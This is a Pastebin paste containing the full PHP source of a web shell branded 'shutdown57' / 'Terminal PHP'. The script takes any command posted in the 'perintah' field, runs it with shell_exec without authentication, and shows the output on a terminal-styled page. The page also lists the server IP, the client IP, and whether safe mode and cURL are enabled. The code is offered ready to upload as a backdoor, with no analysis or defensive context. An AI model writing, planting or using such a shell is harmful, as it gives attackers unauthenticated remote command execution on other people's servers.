Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $s57_command = $_POST['perintah'];
- $s57_run_cmd = shell_exec($s57_command);
- $s57_user = "shutdown57";
- $s57_loc = "root";
- if(ini_get('safe_mode')){
- $s57_sm = "<font color=\"green\"> safe mode On </font>";}else{
- $s57_sm ="<font color=\"red\"> safe mode Off</font>";}
- if(curl_init()){
- $s57_curl = "<font color=\"green\"> cURL on </font>";
- }else{
- echo"<font color=\"red\"> cURL off</font>";
- }
- $s57_ip_ser = gethostbyname($_SERVER['HTTP_HOST']);
- $s57_ip_cli = $_SERVER['REMOTE_ADDR'];
- echo"
- <!DOCTYPE HTML>
- <html lang=\"en\">
- <head>
- <title> Terminal PHP </title>
- </head>
- <body>
- <pre><font color=\"yellow\">
- __ __ /\// __ __ __ ___________
- __/ // ///\/____/ /_ __ __/ /_____/ /___ _ ______ / ____/__ /
- /_ _ __/ / ___/ __ \/ / / / __/ __ / __ \ | /| / / __ \/___ \ / /
- /_ _ __/ (__ ) / / / /_/ / /_/ /_/ / /_/ / |/ |/ / / / /___/ / / /
- /_//_/ /____/_/ /_/\__,_/\__/\__,_/\____/|__/|__/_/ /_/_____/ /_/
- </font>
- +=================================================+
- Tanggal : ".date('d;m;Y')."
- User. : ".$s57_user."
- Location: ".$s57_loc."
- --------------------------------------------------
- ".$s57_ip_ser."||".$s57_sm."||".$s57_curl."||".$s57_ip_cli."
- +=================================================+
- </pre>
- <form method=\"post\">
- ".$s57_loc."@".$s57_user."~#:<input type=\"text\" name=\"perintah\" value=\"uname\">
- </body>
- </html>
- <style type=\"text/css\">
- body{
- background:#000;
- color:#81ff00;
- text-align:left;
- }
- input[type=\"text\"]{
- color:#ff0000;
- background:#000;
- border:0;
- width:300px;
- }
- </style>";
- if(isset($_POST['perintah'])){
- echo"<br> ".$s57_loc."@".$s57_user."~#: <font color=\"red\">".$s57_run_cmd."</font>";
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement